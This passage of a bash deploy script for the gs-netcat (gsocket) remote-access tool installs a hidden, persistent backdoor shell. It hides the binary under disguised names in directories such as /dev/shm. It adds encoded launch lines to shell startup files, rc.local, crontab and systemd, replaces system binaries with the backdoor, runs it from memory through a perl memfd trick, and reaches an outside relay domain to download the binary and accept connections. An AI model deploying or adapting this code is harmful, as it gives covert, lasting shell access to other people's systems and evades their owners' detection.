        try_dstdir "${PWD}" "1" && return

        init_dstbin_exit
    }
    try_dstdir "${GS_PREFIX}/usr/sbin" "" && return

    [[ ! -d "${GS_PREFIX}${HOME}/.local" ]] && xmkdir "${GS_PREFIX}${HOME}/.local"
    try_dstdir "${GS_PREFIX}${HOME}/.local/${CONFIG_DIR_NAME}" "1" && return

    try_dstdir "${PWD}" "1" && { IS_DSTBIN_CWD=1; return; }

    try_dstdir "/var/tmp/.gsusr-${UID}" "1" && { IS_DSTBIN_TMP=1; return; }

    try_dstdir "/tmp/.gsusr-${UID}" "1" && { IS_DSTBIN_TMP=1; return; }

    try_dstdir "/dev/shm" "1" && { IS_DSTBIN_TMP=1; return; }

    init_dstbin_exit
}

try_encode()
{
    local enc
    local dec
    local teststr
    prg="$1"
    enc="$2"
    dec="$3"

    teststr="blha|;id-u \'this is a long test of a very long string to test encodign decoding process # foobar"

    [[ -n $ENCODE_STR ]] && return

    command -v "$prg" >/dev/null && [[ "$(echo "$teststr" | $enc 2>/dev/null| $dec 2>/dev/null)" = "$teststr" ]] || return
    ENCODE_STR="$enc"
    DECODE_STR="$dec"
}

is_le()
{
    local str

    command -v od >/dev/null && command -v awk >/dev/null  && {
        str="$(echo -n I | od -o | awk 'FNR==1{ print substr($2,6,1)}')"
        [[ "$str" == "1" ]] && return 0
        [[ "$str" == "0" ]] && return 255
    }

    command -v python >/dev/null && {
        str="$(python -c 'import sys; print(sys.byteorder)')"
        [[ "$str" == "little" ]] && return 0
        [[ "$str" == "big" ]] && return 255
    }

    command -v perl >/dev/null && {
        str="$(perl -MConfig -e 'print "$Config{byteorder}\n";')"
        [[ "$str" == "1"* ]] && return 0
        [[ "$str" == "87654321" ]] && return 255
        [[ "$str" == "4321" ]] && return 255
    }

    command -v printf >/dev/null && command -v hexdump >/dev/null && {
        printf '\x01\x02' | hexdump -x | grep -q 0201 && return 0
        printf '\x01\x02' | hexdump -x | grep -q 0102 && return 255
    }

    return 255
}

is_64bit() {
    command -v getconf >/dev/null && [[ "$(getconf LONG_BIT)" == "64" ]] && return 0
    command -v lscpu >/dev/null && [[ "$(lscpu)" == *"64-bit"* ]] && return 0
    command -v uname >/dev/null && [[ "$(uname -m)" == *"64"* ]] && return 0
    return 255      
}

init_vars()
{
    local arch
    local osname
    local service
    local str
    arch=$(uname -m)
    local phome

    [[ -z "$PWD" ]] && PWD="$(pwd 2>/dev/null)"

    [[ "$GS_BEACON" -eq 0 ]] && unset GS_BEACON
    [[ "$GS_BEACON" -gt 0 ]] && [[ "$GS_BEACON" -lt 10 ]] && GS_BEACON=10
    [[ "$GS_DEBUG" -eq 0 ]] && unset GS_DEBUG

    local osname
    osname="$(uname -s)"
    OSNAME="linux"
    if [[ "$osname" == *FreeBSD* ]]; then
        OSNAME="freebsd"
    elif [[ "$osname" == *Darwin* ]]; then
        OSNAME="osx"
    elif [[ "$osname" == *OpenBSD* ]]; then
        OSNAME="openbsd"
    fi

    unset GSNC
    unset OSARCH
    unset SRC_PKG
    [[ -n "$GS_OSARCH" ]] && OSARCH="$GS_OSARCH"

    if [[ -z "$OSARCH" ]]; then
        if [[ $OSNAME == "linux" ]]; then 
            if [[ "$arch" == "i686" ]] || [[ "$arch" == "i386" ]]; then
                OSARCH="i386"
            elif [[ "$arch" == "x86_64" ]]; then
                OSARCH="x86_64"
            elif [[ "$arch" == *"armv6"* ]]; then
                OSARCH="arm6"
            elif [[ "$arch" == *"armv7l" ]]; then
                OSARCH="arm7"
            elif [[ "$arch" == *"armv"* ]]; then
                OSARCH="arm"
            elif [[ "$arch" == "aarch64" ]]; then
                OSARCH="aarch64"
            elif [[ "$arch" == "x86_64" ]]; then
                OSARCH="x86_64"
            elif [[ "$arch" == "mips64" ]]; then
                OSARCH="mips64"
                is_le && OSARCH="mipsel32"
            elif [[ "$arch" == *mips* ]]; then
                OSARCH="mips32"
                is_le && OSARCH="mipsel32"
            elif [[ "$arch" == *"ppc"* ]]; then
                if is_64bit; then
                    OSARCH="powerpc64"
                    is_le && OSARCH="powerpc64le"
                else
                    OSARCH="powerpc"
                    is_le && OSARCH="powerpcle"
                fi
            fi
            [[ -n "$OSARCH" ]] && OSARCH+="-linux"
        elif [[ $OSNAME == "osx" ]]; then
            if [[ "$arch" == "arm64" ]]; then
                OSARCH="arm64"
            else
                OSARCH="x86_64"
            fi
            OSARCH+="-osx"
        elif [[ ${OSNAME,,} == *freebsd* ]]; then
                OSARCH="x86_64-freebsd"
        elif [[ ${OSNAME,,} == *openbsd* ]]; then
                OSARCH="x86_64-openbsd"
        elif [[ ${OSNAME,,} == *cygwin* ]]; then
            OSARCH="i686-cygwin"
            [[ "$arch" == "x86_64" ]] && OSARCH="x86_64-cygwin"
        fi
    fi

    if [[ $OSARCH == "x86_64-linux" ]]; then
        SRC_PKG="gs-netcat_mini-linux-x86_64"
    elif [[ $OSARCH == "i386-linux" ]]; then
        SRC_PKG="gs-netcat_mini-linux-i686"
    elif [[ $OSARCH == "arm7-linux" ]]; then
        SRC_PKG="gs-netcat_mini-linux-armv7l"
    elif [[ $OSARCH == "arm6-linux" ]]; then
        SRC_PKG="gs-netcat_mini-linux-armv6"
    elif [[ $OSARCH == "arm-linux" ]]; then
        SRC_PKG="gs-netcat_mini-linux-arm"
    elif [[ $OSARCH == "aarch64-linux" ]]; then
        SRC_PKG="gs-netcat_mini-linux-aarch64"
    elif [[ $OSARCH == "mips64-linux" ]]; then
        SRC_PKG="gs-netcat_mini-linux-mips64"
    elif [[ $OSARCH == "mips32-linux" ]]; then
        SRC_PKG="gs-netcat_mini-linux-mips32"
    elif [[ $OSARCH == "mipsel32-linux" ]]; then
        SRC_PKG="gs-netcat_mini-linux-mipsel"
    elif [[ $OSARCH == "powerpc64-linux" ]]; then
        SRC_PKG="gs-netcat_mini-linux-powerpc64"
    elif [[ $OSARCH == "powerpc64le-linux" ]]; then
        SRC_PKG="gs-netcat_mini-linux-powerpc64le"
    elif [[ $OSARCH == "powerpc-linux" ]]; then
        SRC_PKG="gs-netcat_mini-linux-powerpc"
    elif [[ $OSARCH == "powerpcle-linux" ]]; then
        SRC_PKG="gs-netcat_mini-linux-powerpcle"
    elif [[ $OSARCH == "x86_64-osx" ]]; then
        SRC_PKG="gs-netcat_mini-macOS-x86_64"
    elif [[ $OSARCH == "arm64-osx" ]]; then
        SRC_PKG="gs-netcat_mini-macOS-arm64"
    elif [[ $OSARCH == "x86_64-freebsd" ]]; then
        SRC_PKG="gs-netcat_mini-freebsd-x86_64"
    elif [[ $OSARCH == "x86_64-openbsd" ]]; then
        SRC_PKG="gs-netcat_mini-openbsd-x86_64"
    elif [[ $OSARCH == "x86_64-cygwin" ]]; then
        SRC_PKG="x86_64-cygwin"
    elif [[ $OSARCH == "i686-cygwin" ]]; then
        SRC_PKG="i686-cygwin"
    else
        OSARCH="x86_64-linux"
        WARN "Unsupported OS/Architecture: ${CW}${arch}-${OSNAME}${CN}. Using ${CDY}${OSARCH}${CN}"
        SRC_PKG="gs-netcat_mini-linux-x86_64"
    fi

    if command -v curl >/dev/null; then
        DL_CMD="$DL_CRL"
    elif command -v wget >/dev/null; then
        DL_CMD="$DL_WGT"
    elif [[ -z "$GS_USELOCAL" ]]; then
        FAIL_OUT "Need curl or wget. Try ${CM}apt install curl${CN}"
        errexit
    fi

    [[ $GS_DL == "wget" ]] && DL_CMD="$DL_WGT"
    [[ $GS_DL == "curl" ]] && DL_CMD="$DL_CRL"
    if [[ "$DL_CMD" == "$DL_CRL" ]]; then
        IS_USE_CURL=1
        DL=("curl" "-fsSL" "--connect-timeout" "7" "-m900" "--retry" "3")
        [[ -n $GS_DEBUG ]] && DL+=("-v")
        [[ -n $GS_NOCERTCHECK ]] && DL+=("-k")
    elif [[ "$DL_CMD" == "$DL_WGT" ]]; then
        IS_USE_WGET=1
        DL=("wget" "-O-")
        wget --help 2>&1 | grep -qFm1 connect && DL+=("--connect-timeout=7" "--dns-timeout=7")
        [[ -n $GS_NOCERTCHECK ]] && DL+=("--no-check-certificate")
    else
        DL=("false")
    fi

    [ -n "$S" ] && gs_access_memexec

    phome="$(grep -m1 ^"$(whoami)" /etc/passwd 2>/dev/null | cut -d: -f6)"
    [ -n "$phome" ] && [ "$phome" != "$HOME" ] && HOME="$phome"

    [ -z "$HOME" ] && WARN "HOME not set. Try ${CDC}export HOME=<users home directory>${CN}"

    [ -n "$HOME" ] && [ ! -d "$HOME" ] && {
        phome="$(pwd)"
        { [ -e "${phome}/.local" ] || [ -e "${phome}/.bash_history" ]; } && {
            WARN "HOME=$HOME does not exist. Using HOME=$phome instead."
            HOME="$phome"
        }
    }

    [[ -z "$USER" ]] && USER=$(id -un)
    [[ -z "$UID" ]] && UID=$(id -u)

    [[ -z "$GS_NOENC" ]] && {
        try_encode "base64" "base64 -w0" "base64 -d"
        try_encode "xxd" "xxd -ps -c1024" "xxd -r -ps"
    }
    DEBUGF "ENCODE_STR='${ENCODE_STR}'"

    str="${GS_BIN##*/}"
    if [[ -n "$str" ]]; then
        BIN_HIDDEN_NAME="${str}"
        BIN_HIDDEN_NAME_RM+=("${str}")
        service="$GS_SERVICE"
        [[ -z "$service" ]] && service="$str"
        bin_hidden_name_arr=("${BIN_HIDDEN_NAME}")
    else
        BIN_HIDDEN_NAME="${BIN_HIDDEN_NAME_DEFAULT}"
    fi
    BIN_HIDDEN_NAME_RX=$(echo "$BIN_HIDDEN_NAME" | sed 's/[^a-zA-Z0-9]/\\&/g')
    
    if [[ -n $GS_NAME ]]; then
        PROC_HIDDEN_NAME="${GS_NAME}"
    else
        PROC_HIDDEN_NAME="$PROC_HIDDEN_NAME_DEFAULT"
    fi

    CONFIG_DIR_NAME="${CONFIG_DIR_NAME_DEFAULT}"
    [ -n "$DSTDIR" ] && unset config_dir_name_arr

    SERVICE_HIDDEN_NAME="${service:-$SERVICE_HIDDEN_NAME_DEFAULT}"
    SERVICE_HIDDEN_NAME="${SERVICE_HIDDEN_NAME%%.*}"

    unset LDSO

    if [[ $OSNAME == "osx" ]]; then
        WARN "OSX is least supported. GS_UNDO= may not work. Check manually"
        KL_CMD="killall"
        KL_NAME="${PROC_HIDDEN_NAME}"
        KL_CMD_RUNCHK_UARG=("-0" "-u${USER}")
    elif command -v pkill >/dev/null; then
        KL_CMD="pkill"
        KL_NAME="${BIN_HIDDEN_NAME_RX}"
        KL_CMD_RUNCHK_UARG=("-0" "-x" "-U${UID}")
    elif command -v killall >/dev/null; then
        KL_CMD="killall"
        KL_NAME="${BIN_HIDDEN_NAME}"
        KL_CMD_RUNCHK_UARG=("-0" "-u${USER}")
    fi

    KL_CMD_BIN="$(command -v "$KL_CMD")"
    [[ -z $KL_CMD_BIN ]] && {
        KL_CMD_BIN="$(command -v false)"
        [[ -z $KL_CMD_BIN ]] && KL_CMD_BIN="/bin/does-not-exit"
        WARN "No pkill or killall found."
    }

    RCLOCAL_DIR="${GS_PREFIX}/etc"
    RCLOCAL_FILE="${RCLOCAL_DIR}/rc.local"

    [[ -f ~/.zshrc ]] && RC_FN_LIST+=(".zshrc")
    if [[ -f ~/.bashrc ]]; then
        RC_FN_LIST+=(".bashrc")
    else
        if [[ -f ~/.bash_profile ]]; then
            RC_FN_LIST+=(".bash_profile")
        elif [[ -f ~/.bash_login ]]; then
            RC_FN_LIST+=(".bash_login")
        fi
    fi
    [[ -f ~/.profile ]] && RC_FN_LIST+=(".profile")
    [[ ${#RC_FN_LIST[@]} -eq 0 ]] && RC_FN_LIST+=(".profile")

    [[ -d "${GS_PREFIX}/etc/systemd/system" ]] && SERVICE_DIR="${GS_PREFIX}/etc/systemd/system"
    [[ -d "${GS_PREFIX}/lib/systemd/system" ]] && SERVICE_DIR="${GS_PREFIX}/lib/systemd/system"
    WANTS_DIR="${GS_PREFIX}/etc/systemd/system"
    SERVICE_FILE="${SERVICE_DIR}/${SERVICE_HIDDEN_NAME}.service"

    CRONTAB_DIR="${GS_PREFIX}/var/spool/cron/crontabs"
    [[ ! -d "${CRONTAB_DIR}" ]] && CRONTAB_DIR="${GS_PREFIX}/etc/cron/crontabs"

    UNINST_CMD="$DL_CMD"
    [[ -n "$GS_USELOCAL" ]] && UNINST_CMD="./deploy-all.sh"

    [[ $SHELL == *"nologin"* ]] && unset SHELL
    [[ $SHELL == *"jail"* ]] && unset SHELL
    [[ $SHELL == *"noshell"* ]] && unset SHELL
    [[ $SHELL == *"/dev/null"* ]] && unset SHELL
    [[ -n $SHELL ]] && [[ "$("$SHELL" -c "echo TRUE" 2>/dev/null)" != "TRUE" ]] && unset SHELL

    command -v getprop >/dev/null && getprop &>/dev/null && {
        IS_ANDROID=1
        unset GS_BC
    }
    [ -z "$GS_HOST" ] && {
        unset str
        if command -v dig >/dev/null; then
            str="$(dig +short "master.${GS_DOMAIN:-gs.thc.org}")"
        elif command -v getent >/dev/null; then
            str="$(getent ahostsv4 "master.${GS_DOMAIN:-gs.thc.org}" 2>/dev/null)"
            str="${str// */}"
        else
            str="cant-test-resolver"
        fi
        [ -z "$str" ] && GS_HOST="${GS_HOST_MASTER_IP}"
        [ -z "$GS_HOST" ] && [ -n "$IS_ANDROID" ] && GS_HOST="${GS_HOST_MASTER_IP}"
        export GS_HOST
    }

    DEBUGF "DL=${DL[*]}"
    DEBUGF "URL=${URL_BIN}/${SRC_PKG}"
}

mk_encode() {
    local str
    str="2>/dev/null >/dev/null #${BIN_HIDDEN_NAME}${_ESC_CLEARLN}"
    if [[ -n "$ENCODE_STR" ]]; then 
        echo "{ echo $(echo "$1"|${ENCODE_STR})|${DECODE_STR}|bash;} ${str}"
    else
        echo "${1} ${str}"
    fi
}

init_setup()
{
    local str

    if [[ -n "$GS_PREFIX" ]]; then
        mkdir -p "${GS_PREFIX}/etc" 2>/dev/null
        mkdir -p "${GS_PREFIX}/usr/sbin" 2>/dev/null
        mkdir -p "${GS_PREFIX}${HOME}" 2>/dev/null
        if [[ -f "${HOME}/${RC_FN_LIST[1]}" ]]; then
            cp -p "${HOME}/${RC_FN_LIST[1]}" "${GS_PREFIX}${HOME}/${RC_FN_LIST[1]}"
        fi
        cp -p /etc/rc.local "${GS_PREFIX}/etc/"
    fi

    init_dstbin
    DSTBIN_EXEC_ARR=()
    [[ -n "$LDSO" ]] && DSTBIN_EXEC_ARR=("${LDSO}")
    DSTBIN_EXEC_ARR+=("${DSTBIN}")

    unset NOTE_DONOTREMOVE
    [ -n "$GS_NOTE" ] && NOTE_DONOTREMOVE="# DO NOT REMOVE THIS LINE. SEED PRNG. # ${BIN_HIDDEN_NAME}${_ESC_CLEARLN}"

    unset PROFILE_LINE CRONTAB_LINE
    if [[ $OSNAME == "linux" ]]; then
        [[ -n "$LDSO" ]] && str="${LDSO} "
        PROFILE_LINE="${str}'${DSTBIN}'"
        CRONTAB_LINE="${str}'${DSTBIN}'"
        RCLOCAL_LINE="${str}'${DSTBIN}'"
    else 
        RCLOCAL_LINE="'${DSTBIN}' 2>/dev/null"
        PROFILE_LINE="${KL_CMD_BIN} ${KL_CMD_RUNCHK_UARG[*]} '${KL_NAME}' 2>/dev/null || '${DSTBIN}' 2>/dev/null"
        CRONTAB_LINE="${KL_CMD_BIN} ${KL_CMD_RUNCHK_UARG[*]} '${KL_NAME}' 2>/dev/null || '${DSTBIN}' 2>/dev/null"
    fi

    RCLOCAL_LINE="$(mk_encode "$RCLOCAL_LINE")"
    PROFILE_LINE="$(mk_encode "$PROFILE_LINE")"
    CRONTAB_LINE="$(mk_encode "$CRONTAB_LINE")"
    [ -n "$GS_NOCRONTAB" ] && unset CRONTAB_LINE

    DEBUGF "DSTBIN_EXEC_ARR=${DSTBIN_EXEC_ARR[*]}"
}

_config2bin_memexec() {
    local src="$1"
    local dst="$2"

    [[ "$src" != "$dst" ]] && return 255

    GS_CONFIG_WRITE="${dst}" LANG=C perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}"/usr/bin/python3";exit 255' <"$src" &>/dev/null || return 255

    return 0
}

_config2bin_tmpfile() {
    local src="$1"
    local dst="$2"
    local dst_final
    local exec_arr=()

    [[ "$src" == "$dst" ]] && {
        dst_final="${dst}"
        dst="${src}.tmp"
        _ts_add_pdir "${dst_final}"
    }

    [[ ! -f "${dst}" ]] && {
        _ts_add_pdir "${dst}"
        cp -p "${src}" "${dst}" || return 255
    }

    [[ -n "$LDSO" ]] && exec_arr=("$LDSO")
    exec_arr+=("${src}")
    GS_CONFIG_WRITE="${dst}" "${exec_arr[@]}" || return 255
    [ -n "$dst_final" ] && {
        cat "${dst}" >"${dst_final}"
        rm -f "${dst:?}"
    }

    return 0
}

_config2bin_withenv() {
    [ -n "$GS_MEMEXEC" ] && {
        _config2bin_memexec "$@" && return 0
        _GS_MEMEXEC_FAILED=1
    }
    SKIP_OUT "memexec() is not available."
    echo -en "Adding configuration (second attempt)................................."
    GS_MEMEXEC='' _config2bin_tmpfile "$@" && return 0
}

config2bin() {
    local src="$1"
    local dst="$2"
    local opts="$3"
    local proc_hidden_name="$4"

    GS_PROC_HIDDENNAME="${proc_hidden_name}" GS_ARGS="${opts}" TERM=xterm-256color GS_CCG="${GS_CCG}" GS_SYSTEMD_ARGV_MATCH="${GS_SYSTEMD_ARGV_MATCH}" GS_WORKDIR="${GS_WORKDIR}" GS_DOMAIN="${GS_DOMAIN}" GS_PORT="${GS_PORT}" GS_HOST="${GS_HOST}" GS_BEACON="${GS_BEACON}" GS_FFPID="${GS_FFPID}" GS_MEMEXEC="${GS_MEMEXEC}" GS_REEXEC="${GS_REEXEC}" GS_STEALTH=1 GS_SECRET="${GS_SECRET:?}" _config2bin_withenv "$src" "$dst"
}

bin2config() {
    local exe="$1"
    local bin="$2"
    local exec_arr=()

    unset GS_CONFIG_SECRET
    unset GS_CONFIG_PROC_HIDDENNAME
    unset GS_CONFIG_NOT_FOUND
    unset GS_CONFIG_BEACON
    unset GS_CONFIG_HOST
    unset GS_CONFIG_PORT
    unset GS_CONFIG_REEXEC
    [ ! -f "${exe}" ] && return 255
    [ -n "$bin" ] && [ ! -f "${bin}" ] && return 255

    [[ -n "$LDSO" ]] && exec_arr=("$LDSO")
    exec_arr+=("${exe:?}")
    eval "$(GS_STEALTH=1 GS_CONFIG_READ="${bin}" GS_CONFIG_CHECK=1 "${exec_arr[@]}" -h 2>/dev/null | grep ^GS_CONFIG_)"
    [[ -z "$GS_CONFIG_SECRET" ]] && return 255
    DEBUGF "Found: $exe"
    return 0
}

uninstall_rm()
{
    [ -n "$GS_DRYRUN" ] && return
    [[ -z "$1" ]] && return
    [[ ! -f "$1" ]] && return

    echo "Removing $1..."
    xrm "$1" 2>/dev/null
}

uninstall_bin_rm() {
    bin2config "$1" && [[ -n "$GS_CONFIG_PROC_HIDDENNAME" ]] && UNINST_PROC_HN_ARR+=("$GS_CONFIG_PROC_HIDDENNAME")
    uninstall_rm "$@"
}

uninstall_rmdir()
{
    [ -n "$GS_DRYRUN" ] && return
    [[ -z "$1" ]] && return
    [[ ! -d "$1" ]] && return

    xrmdir "$1" 2>/dev/null || return
    echo "Removing $1..."
}

uninstall_rc()
{
    local hname
    local fn
    hname="$2"
    fn="$1"

    [ -n "$GS_DRYRUN" ] && return
    [[ ! -f "$fn" ]] && return

    grep -F -- "${hname}" "$fn" &>/dev/null || return

    mk_file "$fn" || return

    echo "Removing ${fn}..."
    D="$(grep -v -F -- "${hname}" "$fn")"
    echo "$D" >"${fn}" || return

    [[ ! -s "${fn}" ]] && rm -f "${fn:?}" 2>/dev/null
}

uninstall_service()
{
    local dir
    local sn
    local sf
    dir="$1"
    sn="$2"
    sf="${dir}/${sn}.service"

    [ -n "$GS_DRYRUN" ] && return
    [[ ! -f "${sf}" ]] && return
    [[ $UID -ne 0 ]] && {
        echo -e "${CDY}WARN${CN}: Disinfecting ${CDY}${sf}${CN}...FAILED. Need to be root."
        return 255
    }

    command -v systemctl >/dev/null && {
        ts_add_systemd "${WANTS_DIR}/multi-user.target.wants"
        systemctl disable "${sn}" 2>/dev/null
    }

    grep -Fqm1 oneshot "${sf}" 2>/dev/null || UNINST_IS_SYSTEMD_SIMPLE=1

    uninstall_rm "${sf}"
}

uninstall_systemd_infect() {
    local name="$1"
    local fn="$2"
    local bn
    
    [ -n "$GS_DRYRUN" ] && return
    [[ ! -f "${fn} " ]] && return 0
    [[ $UID -ne 0 ]] && {
        echo -e "${CDY}WARN${CN}: Disinfecting ${fn}...FAILED. Need to be root."
        return 255
    }

    bn=$(basename "${fn}")

    xmv "${fn} " "${fn}"
    cmd_kill_arr+=("${bn}")
}

uninstall()
{
    local hn
    local fn
    local cn

    { [ -z "$GS_BIN" ] || [ -z "$GS_NAME" ]; } && WARN "Only removing default installs. ${CF}[GS_BIN= and GS_NAME= are not set]${CN}"

    cmd_kill_arr=("${BIN_HIDDEN_NAME}")
    for hn in "${BIN_HIDDEN_NAME_RM[@]}"; do
        for cn in "${CONFIG_DIR_NAME_RM[@]}"; do
            uninstall_bin_rm "${GS_PREFIX}${HOME}/.local/${cn}/${hn}"
            uninstall_rm "${GS_PREFIX}${HOME}/.local/${cn}/${hn}.dat"
        done
        uninstall_bin_rm "${GS_PREFIX}/usr/bin/${hn}"
        uninstall_bin_rm "${GS_PREFIX}/usr/sbin/${hn}"
        uninstall_bin_rm "/dev/shm/${hn}"
        uninstall_bin_rm "/tmp/.gsusr-${UID}/${hn}"
        uninstall_bin_rm "${PWD}/${hn}"

        uninstall_rm "${RCLOCAL_DIR}/${hn}.dat"
        uninstall_rm "${GS_PREFIX}/usr/bin/${hn}.dat"

        uninstall_rm "/dev/shm/${hn}.dat"
        uninstall_rm "/tmp/.gsusr-${UID}${hn}.dat"

        uninstall_rm "${PWD}/${hn}.dat"

        for fn in ".bash_profile" ".bash_login" ".bashrc" ".zshrc" ".profile"; do
            uninstall_rc "${GS_PREFIX}${HOME}/${fn}" "${hn}"
        done 
        uninstall_rc "${GS_PREFIX}/etc/rc.local" "${hn}"

        uninstall_rm "${SERVICE_DIR}/${hn}.dat"
    done
    unset fn

    for hn in "${SERVICE_HIDDEN_NAME}" "${service_hidden_name_arr_rm[@]}"; do
        uninstall_service "${SERVICE_DIR}" "${hn}"
    done

    for cn in "${CONFIG_DIR_NAME_RM[@]}"; do
        uninstall_rmdir "${GS_PREFIX}${HOME}/.local/${cn}"
    done
    uninstall_rmdir "${GS_PREFIX}${HOME}/.local"
    uninstall_rmdir "/tmp/.gsusr-${UID}"

    unset regex
    regex="dummy-not-exist"
    for str in "${BIN_HIDDEN_NAME_RM[@]}"; do
        regex+="|$(echo "$str" | sed 's/[^a-zA-Z0-9]/\\&/g')"
    done
    if [[ $OSNAME != "osx" ]] && command -v crontab >/dev/null; then
        ct="$(crontab -l 2>/dev/null)"
        [[ "$ct" =~ ($regex) ]] && {
            [[ $UID -eq 0 ]] && mk_file "${CRONTAB_DIR}/root"
            echo "Removing from crontab..."
            echo "$ct" | grep -v -E -- "($regex)" | crontab - 2>/dev/null
        }
    fi

    i=0
    while [[ $i -lt "${#INFECT_BIN_NAME_ARR[@]}" ]]; do
        uninstall_systemd_infect "${INFECT_SYSCTL_NAME_ARR[$i]}" "${INFECT_BIN_NAME_ARR[$i]}"
        ((i++))
    done

    echo -e "${CG}Uninstall complete.${CN}"

    [ -n "$systemd_kill_cmd" ] && {
        [ -z "$GS_DRYRUN" ] && systemctl daemon-reload 2>/dev/null
        [ -n "$UNINST_IS_SYSTEMD_SIMPLE" ] && echo -e "--> Use ${CM}${systemd_kill_cmd}${CN} to terminate all running shells."
    }

    [[ ${#UNINST_PROC_HN_ARR[@]} -gt 0 ]] && {
        echo -e "--> Verify and manually terminate all running shells:${CM}"
        for p in "${UNINST_PROC_HN_ARR[@]}"; do
            echo "    ps -eF f | grep -F '$p' | grep -v 'grep '"
        done
        echo -en "${CN}"
    }

    exit_code 0
}

SKIP_OUT()
{
    echo -e "[${CY}SKIPPING${CN}]"
    [[ -n "$1" ]] && echo -e "--> $*"
}

OK_OUT()
{
    echo -e "......[${CG}OK${CN}]"
    [[ -n "$1" ]] && echo -e "--> $*"
    return 0
}

FAIL_OUT()
{
    echo >&2 -e "..[${CR}FAILED${CN}]"
    for str in "$@"; do
        echo >&2 -e "--> $str"
    done
}

WARN()
{
    echo -e "--> ${CY}WARNING: ${CN}$*"
}

WARN_EXECFAIL_SET()
{
    [[ -n "$WARN_EXECFAIL_MSG" ]] && return
    WARN_EXECFAIL_MSG="CODE=${1} (${2}): ${CY}$(uname -n -m -r)${CN}"
}

WARN_EXECFAIL()
{
    [[ -z "$WARN_EXECFAIL_MSG" ]] && return
    [[ -n "$ERR_LOG" ]] && echo -e "${CDR}${ERR_LOG}${CN}"
    echo -en "${CDR}"
    ls -al "${DSTBIN}"
    echo -e "${CN}--> ${WARN_EXECFAIL_MSG}
--> GS_OSARCH=${OSARCH}
--> GS_DSTDIR=${DSTBIN%/*}
--> Try to set ${CDC}export GS_DEBUG=1${CN} and deploy again.
--> Please send that output to ${CM}root@proton.thc.org${CN} to get it fixed.
--> Alternatively, try the static binary from
--> ${CB}https://github.com/hackerschoice/gsocket/releases${CN}
--> ${CDC}chmod 755 gs-netcat; ./gs-netcat -ilv${CN}."
}

HOWTO_CONNECT_OUT()
{
    local str
    local xstr
    local opt="-i"

    [[ -n $GS_HOST ]] && str+="GS_HOST=$GS_HOST "
    [[ -n $GS_BEACON ]] && {
        opt+="w"
        xstr="GS_ARGS='-w' "
    }
    echo -e "--> To uninstall use ${CM}GS_UNDO=1 ${UNINST_CMD}${CN}"
    echo -e "--> To connect use one of the following
--> ${CM}${str}gs-netcat -s \"${GS_SECRET}\" ${opt}${CN}"
}

gs_secret_reload_systemd_infect() {
    local bin

    [[ -z $GS_INFECT ]] && return 255

    for bin in "${INFECT_BIN_NAME_ARR[@]}"; do
        [[ ! -f "${bin} " ]] && continue
        bin2config "${bin}" && {
            INFECTED_BIN_NAME="${bin}"
            unset DSTBIN
            unset DSTBIN_EXEC_ARR
            unset PROC_HIDDEN_NAME
            return 0
        }
    done

    return 255
}

gs_secret_load_user() {
    local f d

    [ -n "$GS_DSTDIR" ] && {
        for f in "${bin_hidden_name_arr[@]}"; do
            fn="${GS_PREFIX}${GS_DSTDIR}/${f}"
            DEBUGF "Checking ${fn}"
            [[ -f "${fn}" ]] && bin2config "${fn}" && { DSTBIN="${fn}"; return 0; }
        done

        return 255
    }

    for d in "${config_dir_name_arr[@]}"; do
        for f in "${bin_hidden_name_arr[@]}"; do
            fn="${GS_PREFIX}${HOME}/.local/${d}/${f}"
            DEBUGF "Checking ${fn}"
            [[ -f "${fn}" ]] && bin2config "${fn}" && { DSTBIN="${fn}"; return 0; }
        done
    done

    return 255
}

gs_secret_load_system() {
    local d

    d="${GS_DSTDIR:-/usr/sbin}"
    for f in "${bin_hidden_name_arr[@]}"; do
        fn="${d}/${f}"
        DEBUGF "Checking ${fn}"
        [[ -f "${fn}" ]] && bin2config "${fn}" && { DSTBIN="${fn}"; return 0; }
    done

    return 255
}

exit_installed() {
    WARN "Already installed."

    GS_SECRET="$GS_CONFIG_SECRET"
    GS_BEACON="$GS_CONFIG_BEACON"
    GS_HOST="$GS_CONFIG_HOST"
    PROC_HIDDEN_NAME="$GS_CONFIG_PROC_HIDDENNAME"
    show_install_config
    HOWTO_CONNECT_OUT
    exit_code 0
}

gs_secret_reload() {
    local fn f d
    gs_secret_reload_systemd_infect && exit_installed

    [[ -f "${DSTBIN:?}" ]] && bin2config "${DSTBIN}" && exit_installed

    gs_secret_load_user && exit_installed
    gs_secret_load_system && exit_installed
}

infect_bin() {
    local bin="$1"
    [[ ! -f "$bin" ]] && { SKIP_OUT "Not found: ${bin}."; return 255; }
    local ret

    bin2config "$DSTBIN" "${bin}"
    [[ -n "$GS_CONFIG_SECRET" ]] && {
        GS_SECRET="$GS_CONFIG_SECRET"
        ((IS_INSTALLED+=1))
        SKIP_OUT "Already infected."
        return 200
    }

    [[ -z "$GS_CONFIG_NOT_FOUND" ]] && {
        SKIP_OUT "Old gs-netcat binary. GS_UNDO=1 first."
        return 255
    }

    [[ -f "${bin} " ]] && errexit 254 "File '${bin} ' already exists. Remove it if '${bin}' is really the original."

    _ts_add "${bin}"
    xmv "${bin}" "${bin} " || { FAIL_OUT "Could not move ${bin}."; return 255; }

    cp -p "${bin} " "${bin}" || {
        xmv "${bin} " "${bin}"
        FAIL_OUT "Could not move '${bin} ' to '${bin}'."
        return 255
    }
    cat "${DSTBIN}" >"${bin}"
}

do_config2bin() {
    echo -en "Adding configuration.................................................."
    config2bin "${1:?}" "${2:?}" "${3:?}" "${4}" || {
        FAIL_OUT
        return 255
    }
    OK_OUT
}

do_bincrypter() {
    local dst="$1"
    local str

    [ -z "$GS_BC" ] && return
    str="Bincrypter........................................................................."
    [ -n "$BC_LOCK" ] && str="Bincrypter (BC_LOCK=${BC_LOCK:0:10}...)........................................................................."
    echo -en "${str:0:70}"

    declare -F _bincrypter >/dev/null || {
        SKIP_OUT "bincrypter not available"
        return 0
    }

    [ -n "$_GS_MEMEXEC_FAILED" ] && {
        SKIP_OUT "memexec() not available"
        return 0
    }
    command -v openssl >/dev/null || { SKIP_OUT "Not found: openssl"; return 0; }
    command -v perl >/dev/null || { SKIP_OUT "Not found: perl"; return 0; }
    command -v gunzip >/dev/null || { SKIP_OUT "Not found: gunzip"; return 0; }
    command -v gzip >/dev/null || { SKIP_OUT "Not found: gzip"; return 0; }
    [ ! -c "/dev/urandom" ] && { SKIP_OUT "Not found: /dev/urandom"; return 0; }

    (BC_QUIET=1 _bincrypter "${dst}") || { SKIP_OUT; return 0;}
    OK_OUT
}

install_systemd_add() {
